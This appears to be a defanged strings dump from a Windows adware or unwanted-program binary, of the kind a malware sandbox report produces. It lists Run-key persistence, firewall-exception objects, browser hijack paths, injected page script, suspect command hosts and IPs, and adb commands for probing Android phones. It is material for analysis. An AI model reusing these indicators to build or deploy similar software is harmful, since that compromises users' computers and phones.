
GlassFrame.Enabled

GlassFrame.Enabled

GlassFrame.Left

GlassFrame.Left

GlassFrame.Right

GlassFrame.Right

GlassFrame.SheetOfGlass

GlassFrame.SheetOfGlass

GlassFrame.Top

GlassFrame.Top

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

Uh.hG

Uh.hG

User32.dll

User32.dll

%s, ClassID: %s

%s, ClassID: %s

%s, ProgID: "%s"

%s, ProgID: "%s"

ole32.dll

ole32.dll

CoXMLHTTPRequest

CoXMLHTTPRequest

olepro32.dll

olepro32.dll

%d.%d.%d.%d

%d.%d.%d.%d

PTF://

PTF://

login error

login error

hXXp://

hXXp://

Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3

Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3

HTTP/1.1

HTTP/1.1

grfKeyState

grfKeyState

TComTargetExecEvent

TComTargetExecEvent

CmdGroup

CmdGroup

nCmdID

nCmdID

nCmdexecopt

nCmdexecopt

hhctrl.ocx

hhctrl.ocx

URLMON.DLL

URLMON.DLL

SHDOCLC.DLL

SHDOCLC.DLL

IWebBrowser

IWebBrowser

IWebBrowserApp

IWebBrowserApp

IWebBrowser2

IWebBrowser2

TEWBWindowSetResizable

TEWBWindowSetResizable

TEWBWindowSetLeft

TEWBWindowSetLeft

TEWBWindowSetTop

TEWBWindowSetTop

TEWBWindowSetWidth

TEWBWindowSetWidth

TEWBWindowSetHeight

TEWBWindowSetHeight

bstrUrlContext

bstrUrlContext

bstrUrl

bstrUrl

OnWindowSetResizableP

OnWindowSetResizableP

OnWindowSetLeft

OnWindowSetLeft

OnWindowSetTop

OnWindowSetTop

OnWindowSetWidth

OnWindowSetWidth

OnWindowSetHeight`

OnWindowSetHeight`

URLHISTORY_ENTRY

URLHISTORY_ENTRY

spUrl

spUrl

wininet.dll

wininet.dll

FindFirstUrlCacheGroup

FindFirstUrlCacheGroup

FindNextUrlCacheGroup

FindNextUrlCacheGroup

GetUrlCacheGroupAttributeA

GetUrlCacheGroupAttributeA

SetUrlCacheGroupAttributeA

SetUrlCacheGroupAttributeA

FindFirstUrlCacheEntryExA

FindFirstUrlCacheEntryExA

EWebBrokerExceptionU

EWebBrokerExceptionU

TAsyncExecuteThreadU

TAsyncExecuteThreadU

Uh.KH

Uh.KH

SENSAPI.DLL

SENSAPI.DLL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

OpenUrlForIEMin repeat

OpenUrlForIEMin repeat

Internet Explorer\iexplore.exe

Internet Explorer\iexplore.exe

Down\ETagFile.dat

Down\ETagFile.dat

HNetCfg.FwMgr

HNetCfg.FwMgr

HNetCfg.FwAuthorizedApplication

HNetCfg.FwAuthorizedApplication

%d.%d

%d.%d

Shell.Application

Shell.Application

Shell32.dll

Shell32.dll

SysShadow

SysShadow

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Oleacc.dll

Oleacc.dll

var x = document.createElement("link");x.rel = "stylesheet";x.type = "text/css";x.media = "screen";x.href = "

var x = document.createElement("link");x.rel = "stylesheet";x.type = "text/css";x.media = "screen";x.href = "

document.getElementsByTagName("head")[0].appendChild(x);

document.getElementsByTagName("head")[0].appendChild(x);

scrollbar.css

scrollbar.css

KERNEL32.DLL

KERNEL32.DLL

\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\

\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\

System.ItemAuthors

System.ItemAuthors

prop:System.ItemAuthors

prop:System.ItemAuthors

{0AFACED1-E828-11D1-9187-B532F1E9575D}

{0AFACED1-E828-11D1-9187-B532F1E9575D}

%SystemRoot%\system32\shdocvw.dll

%SystemRoot%\system32\shdocvw.dll

TSimpleUdpClient

TSimpleUdpClient

E:\My Dropbox\Works\Components\superobjectv1.2.4\superobject.pas

E:\My Dropbox\Works\Components\superobjectv1.2.4\superobject.pas

Unsuported variant data type: %d

Unsuported variant data type: %d

rcmDefault

rcmDefault

rcmDebug

rcmDebug

DontExecuteScripts

DontExecuteScripts

DontExecuteJava

DontExecuteJava

DontExecuteActiveX

DontExecuteActiveX

DisableUrlIfEncodingUTF8

DisableUrlIfEncodingUTF8

EnableUrlIfEncodingUTF8

EnableUrlIfEncodingUTF8

CheckFontSupportsCodePage

CheckFontSupportsCodePage

DisableSubmitUrlInUTF8

DisableSubmitUrlInUTF8

EnableSubmitUrlInUTF8

EnableSubmitUrlInUTF8

lpMsg

lpMsg

PMsg

PMsg

pguidCmdGroup

pguidCmdGroup

TTranslateUrlEvent

TTranslateUrlEvent

pchURLIn

pchURLIn

ppchURLOut

ppchURLOut

CmdID

CmdID

pszUrl

pszUrl

pszUrlContext

pszUrlContext

szPassWord

szPassWord

ErrorUrl

ErrorUrl

OptionKeyPath

OptionKeyPath

OverrideOptionKeyPath

OverrideOptionKeyPath

OnTranslateUrl8

OnTranslateUrl8

OnCommandExech

OnCommandExech

'%s' is not supported.

'%s' is not supported.

WebocPopupManagement

WebocPopupManagement

ValidateNavigateUrl

ValidateNavigateUrl

HttpUsernamePasswordDisable

HttpUsernamePasswordDisable

GetUrlDomFilePathUnencoded

GetUrlDomFilePathUnencoded

XmlHttp

XmlHttp

MAPI32.DLL

MAPI32.DLL

hXXps://

hXXps://

AppEvents\Schemes\Apps\Explorer\Navigating\.Current

AppEvents\Schemes\Apps\Explorer\Navigating\.Current

.Current

.Current

\ieframe.dll

\ieframe.dll

\shdocvw.dll

\shdocvw.dll

\StringFileInfo\%0.4x%0.4x\%s

\StringFileInfo\%0.4x%0.4x\%s

TMsgEvent

TMsgEvent

TKeyEventEx

TKeyEventEx

Port

Port

Password

Password

poPortrait

poPortrait

0.750000

0.750000

3333333

3333333

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform

\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform

EmbeddedWB hXXp://bsalsa.com/

EmbeddedWB hXXp://bsalsa.com/

Setup.ini

Setup.ini

TFormWebShow

TFormWebShow

TFormLoginTips

TFormLoginTips

LoginUrl

LoginUrl

/WebShell

/WebShell

CMD:Login

CMD:Login

CMD:Reg

CMD:Reg

CMD:Logout:

CMD:Logout:

CMD:Close

CMD:Close

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CURRENT_USER

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

user32.dll

user32.dll

UnsupportedGdiplusVersion

UnsupportedGdiplusVersion

PropertyNotSupported

PropertyNotSupported

aclBurlyWood

aclBurlyWood

rpcrt4.dll

rpcrt4.dll

1.0.4

1.0.4

SYSTEM\CurrentControlSet\Services\%s

SYSTEM\CurrentControlSet\Services\%s

usbdevi.sys

usbdevi.sys

hXXp://ou.cncll.net:7831/udsk

hXXp://ou.cncll.net:7831/udsk

*.lnk

*.lnk

*.url

*.url

iexplore.exe

iexplore.exe

hXXp://VVV.hao123.com/

hXXp://VVV.hao123.com/

http\shell\open\command

http\shell\open\command

{CC893ED2-9B4E-45BA-B402-07E7DA15891D}

{CC893ED2-9B4E-45BA-B402-07E7DA15891D}

ull.dat

ull.dat

as.dat

as.dat

ts.dat

ts.dat

acdat.dat

acdat.dat

,chrome.exe,360chrome.exe,firefox.exe,iexplore.exe,qqbrowser.exe,baidubrowser.exe,liebao.exe,theworld.exe,2345chrome.exe,360se.exe,ucbrowser.exe,maxthon.exe,

,chrome.exe,360chrome.exe,firefox.exe,iexplore.exe,qqbrowser.exe,baidubrowser.exe,liebao.exe,theworld.exe,2345chrome.exe,360se.exe,ucbrowser.exe,maxthon.exe,

Software\Microsoft\Windows\CurrentVersion\App Paths\MiLai

Software\Microsoft\Windows\CurrentVersion\App Paths\MiLai

Software\Microsoft\Windows\CurrentVersion\Uninstall\

Software\Microsoft\Windows\CurrentVersion\Uninstall\

uninst.exe

uninst.exe

URLInfoAbout

URLInfoAbout

%ProgramFiles%\Internet Explorer\iexplore.exe

%ProgramFiles%\Internet Explorer\iexplore.exe

mlzs.exe

mlzs.exe

add.dat

add.dat

edi.dat

edi.dat

hXXp://udt.cncll.net:5400/xc?qid=

hXXp://udt.cncll.net:5400/xc?qid=

hXXp://udt.cncll.net:5400/tj2?qid=

hXXp://udt.cncll.net:5400/tj2?qid=

hXXp://120.131.64.117:5400/tj2?qid=

hXXp://120.131.64.117:5400/tj2?qid=

dt10.dat

dt10.dat

dt11.dat

dt11.dat

dt12.dat

dt12.dat

pai.dat

pai.dat

ou.cncll.net

ou.cncll.net

bjie.dat

bjie.dat

222.88.93.108

222.88.93.108

125.43.78.118

125.43.78.118

xh.dat

xh.dat

-1002_5_srr.exe

-1002_5_srr.exe

-1002_15_srr.exe

-1002_15_srr.exe

atpp.dat

atpp.dat

btpp.dat

btpp.dat

hXXp://outj.cncll.net:

hXXp://outj.cncll.net:

\nvse.dat

\nvse.dat

hXXp://qd1.jxjiawu.com:5115/qv?sid=5&mianid=

hXXp://qd1.jxjiawu.com:5115/qv?sid=5&mianid=

runa.ini

runa.ini

ftt.cncll.net

ftt.cncll.net

120.131.64.116

120.131.64.116

%s, %.2d %s %.4d %s %s

%s, %.2d %s %.4d %s %s

EIdCanNotBindPortInRange

EIdCanNotBindPortInRange

EIdInvalidPortRangeX:N

EIdInvalidPortRangeX:N

C:\Builds\TpAddons\IndyNet\System\IdStreamVCL.pas

C:\Builds\TpAddons\IndyNet\System\IdStreamVCL.pas

C:\Builds\TpAddons\IndyNet\System\IdGlobal.pas

C:\Builds\TpAddons\IndyNet\System\IdGlobal.pas

getservbyport

getservbyport

WSAAsyncGetServByPort

WSAAsyncGetServByPort

WSAJoinLeaf

WSAJoinLeaf

WS2_32.DLL

WS2_32.DLL

Wship6.dll

Wship6.dll

EIdIPVersionUnsupportedU

EIdIPVersionUnsupportedU

TIdSocketListWindows

TIdSocketListWindows

TIdStackWindowsU

TIdStackWindowsU

IdStackWindows

IdStackWindows

127.0.0.1

127.0.0.1

C:\builds\TpAddons\IndyNet\System\IdStack.pas

C:\builds\TpAddons\IndyNet\System\IdStack.pas

ftpTransfer

ftpTransfer

ftpReady

ftpReady

ftpAborted

ftpAborted

ClientPortMin

ClientPortMin

ClientPortMax

ClientPortMax

PortSVW

PortSVW

EIdPortRequired\

EIdPortRequired\

EIdTCPConnectionError

EIdTCPConnectionError

EIdObjectTypeNotSupported

EIdObjectTypeNotSupported

Port

Port

C:\builds\TpAddons\IndyNet\Core\IdIOHandler.pas

C:\builds\TpAddons\IndyNet\Core\IdIOHandler.pas

"EIdTransparentProxyUDPNotSupported

"EIdTransparentProxyUDPNotSupported

TIdTCPClientCustom

TIdTCPClientCustom

TIdTCPClientCustomh#O

TIdTCPClientCustomh#O

IdTCPClient

IdTCPClient

TIdTCPClient

TIdTCPClient

BoundPort

BoundPort

%EIdSocksUDPNotSupportedBySOCKSVersion

%EIdSocksUDPNotSupportedBySOCKSVersion

saUsernamePassword

saUsernamePassword

Password

Password

Port$AN

Port$AN

0.0.0.1

0.0.0.1

0.0.0.0

0.0.0.0

DefaultPort$AN

DefaultPort$AN

TIdTCPConnection

TIdTCPConnection

TIdTCPConnectionD~O

TIdTCPConnectionD~O

IdTCPConnection

IdTCPConnection

ISO_646.irv:1991

ISO_646.irv:1991

ISO_646.basic:1983

ISO_646.basic:1983

ISO_646.irv:1983

ISO_646.irv:1983

csISO16Portuguese

csISO16Portuguese

csISO84Portuguese2

csISO84Portuguese2

windows-936

windows-936

csShiftJIS

csShiftJIS

ISO-8859-1-Windows-3.0-Latin-1

ISO-8859-1-Windows-3.0-Latin-1

csWindows30Latin1

csWindows30Latin1

ISO-8859-1-Windows-3.1-Latin-1

ISO-8859-1-Windows-3.1-Latin-1

csWindows31Latin1

csWindows31Latin1

ISO-8859-2-Windows-Latin-2

ISO-8859-2-Windows-Latin-2

csWindows31Latin2

csWindows31Latin2

ISO-8859-9-Windows-Latin-5

ISO-8859-9-Windows-Latin-5

csWindows31Latin5

csWindows31Latin5

csMicrosoftPublishing

csMicrosoftPublishing

Windows-31J

Windows-31J

csWindows31J

csWindows31J

windows-1250

windows-1250

windows-1251

windows-1251

windows-1252

windows-1252

windows-1253

windows-1253

windows-1254

windows-1254

windows-1255

windows-1255

windows-1256

windows-1256

windows-1257

windows-1257

windows-1258

windows-1258

.aiff=audio/x-aiff

.aiff=audio/x-aiff

.au=audio/basic

.au=audio/basic

.mid=midi/mid

.mid=midi/mid

.mp3=audio/x-mpg

.mp3=audio/x-mpg

.m3u=audio/x-mpegurl

.m3u=audio/x-mpegurl

.qcp=audio/vnd.qcelp

.qcp=audio/vnd.qcelp

.ra=audio/x-realaudio

.ra=audio/x-realaudio

.wav=audio/x-wav

.wav=audio/x-wav

.gsm=audio/x-gsm

.gsm=audio/x-gsm

.wax=audio/x-ms-wax

.wax=audio/x-ms-wax

.wma=audio/x-ms-wma

.wma=audio/x-ms-wma

.ram=audio/x-pn-realaudio

.ram=audio/x-pn-realaudio

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile

.bmp=image/bmp

.bmp=image/bmp

.gif=image/gif

.gif=image/gif

.jpg=image/jpeg

.jpg=image/jpeg

.jpeg=image/jpeg

.jpeg=image/jpeg

.jpe=image/jpeg

.jpe=image/jpeg

.pict=image/x-pict

.pict=image/x-pict

.png=image/x-png

.png=image/x-png

.svg=image/svg-xml

.svg=image/svg-xml

.tif=image/x-tiff

.tif=image/x-tiff

.rf=image/vnd.rn-realflash

.rf=image/vnd.rn-realflash

.rp=image/vnd.rn-realpix

.rp=image/vnd.rn-realpix

.ico=image/x-icon

.ico=image/x-icon

.art=image/x-jg

.art=image/x-jg

.pntg=image/x-macpaint

.pntg=image/x-macpaint

.qtif=image/x-quicktime

.qtif=image/x-quicktime

.sgi=image/x-sgi

.sgi=image/x-sgi

.targa=image/x-targa

.targa=image/x-targa

.xbm=image/xbm

.xbm=image/xbm

.psd=image/x-psd

.psd=image/x-psd

.pnm=image/x-portable-anymap

.pnm=image/x-portable-anymap

.pbm=image/x-portable-bitmap

.pbm=image/x-portable-bitmap

.pgm=image/x-portable-graymap

.pgm=image/x-portable-graymap

.ppm=image/x-portable-pixmap

.ppm=image/x-portable-pixmap

.rgb=image/x-rgb

.rgb=image/x-rgb

.xbm=image/x-xbitmap

.xbm=image/x-xbitmap

.xpm=image/x-xpixmap

.xpm=image/x-xpixmap

.xwd=image/x-xwindowdump

.xwd=image/x-xwindowdump

.xml=text/xml

.xml=text/xml

.uls=text/iuls

.uls=text/iuls

.txt=text/plain

.txt=text/plain

.rtx=text/richtext

.rtx=text/richtext

.wsc=text/scriptlet

.wsc=text/scriptlet

.rt=text/vnd.rn-realtext

.rt=text/vnd.rn-realtext

.htt=text/webviewhtml

.htt=text/webviewhtml

.htc=text/x-component

.htc=text/x-component

.vcf=text/x-vcard

.vcf=text/x-vcard

.avi=video/x-msvideo

.avi=video/x-msvideo

.flc=video/flc

.flc=video/flc

.mpeg=video/x-mpeg2a

.mpeg=video/x-mpeg2a

.mov=video/quicktime

.mov=video/quicktime

.rv=video/vnd.rn-realvideo

.rv=video/vnd.rn-realvideo

.ivf=video/x-ivf

.ivf=video/x-ivf

.wm=video/x-ms-wm

.wm=video/x-ms-wm

.wmp=video/x-ms-wmp

.wmp=video/x-ms-wmp

.wmv=video/x-ms-wmv

.wmv=video/x-ms-wmv

.wmx=video/x-ms-wmx

.wmx=video/x-ms-wmx

.wvx=video/x-ms-wvx

.wvx=video/x-ms-wvx

.rms=video/vnd.rn-realvideo-secure

.rms=video/vnd.rn-realvideo-secure

.asx=video/x-ms-asf-plugin

.asx=video/x-ms-asf-plugin

.movie=video/x-sgi-movie

.movie=video/x-sgi-movie

.wmd=application/x-ms-wmd

.wmd=application/x-ms-wmd

.wms=application/x-ms-wms

.wms=application/x-ms-wms

.wmz=application/x-ms-wmz

.wmz=application/x-ms-wmz

.p7b=application/x-pkcs7-certificates

.p7b=application/x-pkcs7-certificates

.p7r=application/x-pkcs7-certreqresp

.p7r=application/x-pkcs7-certreqresp

.qtl=application/x-quicktimeplayer

.qtl=application/x-quicktimeplayer

.rtsp=application/x-rtsp

.rtsp=application/x-rtsp

.swf=application/x-shockwave-flash

.swf=application/x-shockwave-flash

.sit=application/x-stuffit

.sit=application/x-stuffit

.tar=application/x-tar

.tar=application/x-tar

.man=application/x-troff-man

.man=application/x-troff-man

.urls=application/x-url-list

.urls=application/x-url-list

.zip=application/x-zip-compressed

.zip=application/x-zip-compressed

.cdf=application/x-cdf

.cdf=application/x-cdf

.fml=application/x-file-mirror-list

.fml=application/x-file-mirror-list

.fif=application/fractals

.fif=application/fractals

.spl=application/futuresplash

.spl=application/futuresplash

.hta=application/hta

.hta=application/hta

.hqx=application/mac-binhex40

.hqx=application/mac-binhex40

.doc=application/msword

.doc=application/msword

.pdf=application/pdf

.pdf=application/pdf

.cer=application/x-x509-ca-cert

.cer=application/x-x509-ca-cert

.crl=application/pkix-crl

.crl=application/pkix-crl

.ps=application/postscript

.ps=application/postscript

.sdp=application/x-sdp

.sdp=application/x-sdp

.setpay=application/set-payment-initiation

.setpay=application/set-payment-initiation

.setreg=application/set-registration-initiation

.setreg=application/set-registration-initiation

.smil=application/smil

.smil=application/smil

.ssm=application/streamingmedia

.ssm=application/streamingmedia

.xfdf=application/vnd.adobe.xfdf

.xfdf=application/vnd.adobe.xfdf

.fdf=application/vnd.fdf

.fdf=application/vnd.fdf

.xls=application/x-msexcel

.xls=application/x-msexcel

.sst=application/vnd.ms-pki.certstore

.sst=application/vnd.ms-pki.certstore

.pko=application/vnd.ms-pki.pko

.pko=application/vnd.ms-pki.pko

.cat=application/vnd.ms-pki.seccat

.cat=application/vnd.ms-pki.seccat

.stl=application/vnd.ms-pki.stl

.stl=application/vnd.ms-pki.stl

.rmf=application/vnd.rmf

.rmf=application/vnd.rmf

.rm=application/vnd.rn-realmedia

.rm=application/vnd.rn-realmedia

.rnx=application/vnd.rn-realplayer

.rnx=application/vnd.rn-realplayer

.rjs=application/vnd.rn-realsystem-rjs

.rjs=application/vnd.rn-realsystem-rjs

.rmx=application/vnd.rn-realsystem-rmx

.rmx=application/vnd.rn-realsystem-rmx

.rmp=application/vnd.rn-rn_music_package

.rmp=application/vnd.rn-rn_music_package

.rsml=application/vnd.rn-rsml

.rsml=application/vnd.rn-rsml

.vsl=application/x-cnet-vsl

.vsl=application/x-cnet-vsl

.tgz=application/x-compressed

.tgz=application/x-compressed

.dir=application/x-director

.dir=application/x-director

.gz=application/x-gzip

.gz=application/x-gzip

.uin=application/x-icq

.uin=application/x-icq

.hpf=application/x-icq-hpf

.hpf=application/x-icq-hpf

.pnq=application/x-icq-pnq

.pnq=application/x-icq-pnq

.scm=application/x-icq-scm

.scm=application/x-icq-scm

.ins=application/x-internet-signup

.ins=application/x-internet-signup

.iii=application/x-iphone

.iii=application/x-iphone

.latex=application/x-latex

.latex=application/x-latex

.nix=application/x-mix-transfer

.nix=application/x-mix-transfer

.wbmp=image/vnd.wap.wbmp

.wbmp=image/vnd.wap.wbmp

.wml=text/vnd.wap.wml

.wml=text/vnd.wap.wml

.wmlc=application/vnd.wap.wmlc

.wmlc=application/vnd.wap.wmlc

.wmls=text/vnd.wap.wmlscript

.wmls=text/vnd.wap.wmlscript

.wmlsc=application/vnd.wap.wmlscriptc

.wmlsc=application/vnd.wap.wmlscriptc

.css=text/css

.css=text/css

.htm=text/html

.htm=text/html

.html=text/html

.html=text/html

.shtml=server-parsed-html

.shtml=server-parsed-html

.sgm=text/sgml

.sgm=text/sgml

.sgml=text/sgml

.sgml=text/sgml

C:\builds\TpAddons\IndyNet\Protocols\IdGlobalProtocols.pas

C:\builds\TpAddons\IndyNet\Protocols\IdGlobalProtocols.pas

*#% []

*#% []

C:\builds\TpAddons\IndyNet\Protocols\IdCoder3to4.pas

C:\builds\TpAddons\IndyNet\Protocols\IdCoder3to4.pas

TIdEncoder3to4.Encode: Calculated length exceeded (expected

TIdEncoder3to4.Encode: Calculated length exceeded (expected

TIdEncoder3to4.Encode: Calculated length not met (expected

TIdEncoder3to4.Encode: Calculated length not met (expected

password

password

CommentURL

CommentURL

%s, %d-%s-%d %s GMT

%s, %d-%s-%d %s GMT

C:\builds\TpAddons\IndyNet\Protocols\IdZLibCompressorBase.pas

C:\builds\TpAddons\IndyNet\Protocols\IdZLibCompressorBase.pas

C:\builds\TpAddons\IndyNet\Core\IdThread.pas

C:\builds\TpAddons\IndyNet\Core\IdThread.pas

C:\builds\TpAddons\IndyNet\Core\IdScheduler.pas

C:\builds\TpAddons\IndyNet\Core\IdScheduler.pas

IdHTTPHeaderInfo

IdHTTPHeaderInfo

ProxyPassword

ProxyPassword

ProxyPort

ProxyPort

Mozilla/3.0 (compatible; Indy Library)

Mozilla/3.0 (compatible; Indy Library)

%d%s%d

%d%s%d

TIdHTTPOption

TIdHTTPOption

IdHTTP

IdHTTP

TIdHTTPOptions

TIdHTTPOptions

TIdHTTPProtocolVersion

TIdHTTPProtocolVersion

TIdHTTPOnRedirectEvent

TIdHTTPOnRedirectEvent

TIdHTTPOnHeadersAvailable

TIdHTTPOnHeadersAvailable

TIdHTTPResponse

TIdHTTPResponse

TIdHTTPResponse,

TIdHTTPResponse,

TIdHTTPRequest

TIdHTTPRequest

TIdHTTPProtocol

TIdHTTPProtocol

TIdCustomHTTP

TIdCustomHTTP

TIdHTTP

TIdHTTP

TIdHTTP0

TIdHTTP0

HTTPOptions

HTTPOptions

EIdHTTPProtocolException

EIdHTTPProtocolException

C:\builds\TpAddons\IndyNet\Protocols\IdHTTP.pas

C:\builds\TpAddons\IndyNet\Protocols\IdHTTP.pas

application/x-www-form-urlencoded

application/x-www-form-urlencoded

HTTPS

HTTPS

https

https

HTTP/1.0 200 OK

HTTP/1.0 200 OK

HTTP/

HTTP/

1.2.8

1.2.8

Invalid ZStream operation!

Invalid ZStream operation!

CRC Error in "%s".

CRC Error in "%s".

SetupApi.dll

SetupApi.dll

SetupDiOpenClassRegKey

SetupDiOpenClassRegKey

SetupDiOpenClassRegKeyExA

SetupDiOpenClassRegKeyExA

SetupDiOpenClassRegKeyExW

SetupDiOpenClassRegKeyExW

SetupDiCreateDeviceInterfaceRegKeyA

SetupDiCreateDeviceInterfaceRegKeyA

SetupDiCreateDeviceInterfaceRegKeyW

SetupDiCreateDeviceInterfaceRegKeyW

SetupDiOpenDeviceInterfaceRegKey

SetupDiOpenDeviceInterfaceRegKey

SetupDiDeleteDeviceInterfaceRegKey

SetupDiDeleteDeviceInterfaceRegKey

SetupDiCreateDevRegKeyA

SetupDiCreateDevRegKeyA

SetupDiCreateDevRegKeyW

SetupDiCreateDevRegKeyW

SetupDiOpenDevRegKey

SetupDiOpenDevRegKey

SetupDiDeleteDevRegKey

SetupDiDeleteDevRegKey

Uh.iQ

Uh.iQ

*.inf

*.inf

hXXp://device.sj.91.com/Controller.ashx?action=getdriverid

hXXp://device.sj.91.com/Controller.ashx?action=getdriverid

hXXp://device.sj.91.com/Controller.ashx?action=driverdownload&DeviceID=

hXXp://device.sj.91.com/Controller.ashx?action=driverdownload&DeviceID=

OnActionExecute

OnActionExecute

TOnPaintWebICOEvent

TOnPaintWebICOEvent

ScrollLeftPic

ScrollLeftPic

OnPaintWebICO

OnPaintWebICO

LinkUrl

LinkUrl

Fav%d.dat

Fav%d.dat

EInvalidGridOperation

EInvalidGridOperation

goAlwaysShowEditor

goAlwaysShowEditor

FormKeyPress

FormKeyPress

lblUrl

lblUrl

hXXp://web.fx.cncll.net/Handler/Handler.ashx?action=like&id=

hXXp://web.fx.cncll.net/Handler/Handler.ashx?action=like&id=

hXXp://web.fx.cncll.net/fav.aspx?id=

hXXp://web.fx.cncll.net/fav.aspx?id=

favicon.ico

favicon.ico

{EB7B7F10-D6B7-8724-B3E2-43B1EF388677}

{EB7B7F10-D6B7-8724-B3E2-43B1EF388677}

C:\builds\TpAddons\IndyNet\Core\IdServerIOHandlerSocket.pas

C:\builds\TpAddons\IndyNet\Core\IdServerIOHandlerSocket.pas

C:\builds\TpAddons\IndyNet\Core\IdSchedulerOfThread.pas

C:\builds\TpAddons\IndyNet\Core\IdSchedulerOfThread.pas

%s User

%s User

IdCustomTCPServer

IdCustomTCPServer

TIdCustomTCPServer

TIdCustomTCPServer

TIdCustomTCPServerT?S

TIdCustomTCPServerT?S

DefaultPort

DefaultPort

TIdHTTPSession

TIdHTTPSession

VHTTPSession

VHTTPSession

TIdHTTPCommandEvent

TIdHTTPCommandEvent

TIdHTTPRequestInfo

TIdHTTPRequestInfo

TIdHTTPResponseInfo

TIdHTTPResponseInfo

TIdHTTPInvalidSessionEvent

TIdHTTPInvalidSessionEvent

EIdHTTPServerError

EIdHTTPServerError

EIdHTTPHeaderAlreadyWritten

EIdHTTPHeaderAlreadyWritten

EIdHTTPErrorParsingCommand

EIdHTTPErrorParsingCommand

%EIdHTTPUnsupportedAuthorisationScheme

%EIdHTTPUnsupportedAuthorisationScheme

)EIdHTTPCannotSwitchSessionStateWhenActive

)EIdHTTPCannotSwitchSessionStateWhenActive

IdCustomHTTPServer

IdCustomHTTPServer

TIdHTTPCustomSessionList

TIdHTTPCustomSessionList

TIdCustomHTTPServer

TIdCustomHTTPServer

TIdCustomHTTPServer(XS

TIdCustomHTTPServer(XS

DefaultPort

DefaultPort

TIdHTTPDefaultSessionList

TIdHTTPDefaultSessionList

TIdHTTPSessionCleanerThreadS

TIdHTTPSessionCleanerThreadS

IDHTTPSESSIONID

IDHTTPSESSIONID

C:\builds\TpAddons\IndyNet\Protocols\IdCustomHTTPServer.pas

C:\builds\TpAddons\IndyNet\Protocols\IdCustomHTTPServer.pas

Indy/10.1.5

Indy/10.1.5

HTTP/1.1

HTTP/1.1

TIdHTTPServer

TIdHTTPServer

TIdHTTPServer

TIdHTTPServer

IdHTTPServer

IdHTTPServer

THttpWaitServer

THttpWaitServer

adb.exe

adb.exe

aapt.exe

aapt.exe

AdbWinApi.dll

AdbWinApi.dll

AdbWinUsbApi.dll

AdbWinUsbApi.dll

shell am startservice -a android.save.applist

shell am startservice -a android.save.applist

Android 2.3.3

Android 2.3.3

AndroidAssistTmp.apk

AndroidAssistTmp.apk

shell cat /system/build.prop

shell cat /system/build.prop

ro.product.model=

ro.product.model=

android.permission.ACCESS_COARSE_LOCATION=

android.permission.ACCESS_COARSE_LOCATION=

android.permission.ACCESS_FINE_LOCATION=

android.permission.ACCESS_FINE_LOCATION=

android.permission.ACCESS_NETWORK_STATE=

android.permission.ACCESS_NETWORK_STATE=

android.permission.ACCESS_WIFI_STATE=

android.permission.ACCESS_WIFI_STATE=

android.permission.ADD_SYSTEM_SERVICE=

android.permission.ADD_SYSTEM_SERVICE=

android.permission.BATTERY_STATS=

android.permission.BATTERY_STATS=

android.permission.BLUETOOTH=

android.permission.BLUETOOTH=

android.permission.BLUETOOTH_ADMIN=

android.permission.BLUETOOTH_ADMIN=

android.permission.BRICK=

android.permission.BRICK=

android.permission.CALL_PRIVILEGED=

android.permission.CALL_PRIVILEGED=

android.permission.CAMERA=

android.permission.CAMERA=

android.permission.CHANGE_CONFIGURATION=

android.permission.CHANGE_CONFIGURATION=

android.permission.CHANGE_NETWORK_STATE=

android.permission.CHANGE_NETWORK_STATE=

android.permission.CHANGE_WIFI_STATE=

android.permission.CHANGE_WIFI_STATE=

android.permission.CLEAR_APP_CACHE=

android.permission.CLEAR_APP_CACHE=

android.permission.CLEAR_APP_USER_DATA=

android.permission.CLEAR_APP_USER_DATA=

android.permission.DELETE_CACHE_FILES=

android.permission.DELETE_CACHE_FILES=

android.permission.DELETE_PACKAGES=

android.permission.DELETE_PACKAGES=

android.permission.DEVICE_POWER=

android.permission.DEVICE_POWER=

android.permission.INJECT_EVENTS=

android.permission.INJECT_EVENTS=

android.permission.INSTALL_PACKAGES=

android.permission.INSTALL_PACKAGES=

android.permission.INTERNET=

android.permission.INTERNET=

android.permission.MODIFY_PHONE_STATE=

android.permission.MODIFY_PHONE_STATE=

android.permission.MOUNT_UNMOUNT_FILESYSTEMS=

android.permission.MOUNT_UNMOUNT_FILESYSTEMS=

android.permission.PROCESS_OUTGOING_CALLS=

android.permission.PROCESS_OUTGOING_CALLS=

android.permission.READ_CONTACTS=

android.permission.READ_CONTACTS=

android.permission.READ_SMS=

android.permission.READ_SMS=

android.permission.REBOOT=

android.permission.REBOOT=

android.permission.RECEIVE_BOOT_COMPLETED=

android.permission.RECEIVE_BOOT_COMPLETED=

android.permission.RECEIVE_MMS=

android.permission.RECEIVE_MMS=

android.permission.RECEIVE_SMS=

android.permission.RECEIVE_SMS=

android.permission.RECORD_AUDIO=

android.permission.RECORD_AUDIO=

android.permission.RESTART_PACKAGES=

android.permission.RESTART_PACKAGES=

android.permission.SEND_SMS=

android.permission.SEND_SMS=

android.permission.WRITE_CONTACTS=

android.permission.WRITE_CONTACTS=

android.permission.WRITE_SETTINGS=

android.permission.WRITE_SETTINGS=

android.permission.WRITE_SMS=

android.permission.WRITE_SMS=

android.permission.STATUS_BAR=

android.permission.STATUS_BAR=

android.permission.WRITE_EXTERNAL_STORAGE=

android.permission.WRITE_EXTERNAL_STORAGE=

android.permission.GET_TASKS=

android.permission.GET_TASKS=

android.permission.SYSTEM_ALERT_WINDOW=

android.permission.SYSTEM_ALERT_WINDOW=

android.permission.WAKE_LOCK=

android.permission.WAKE_LOCK=

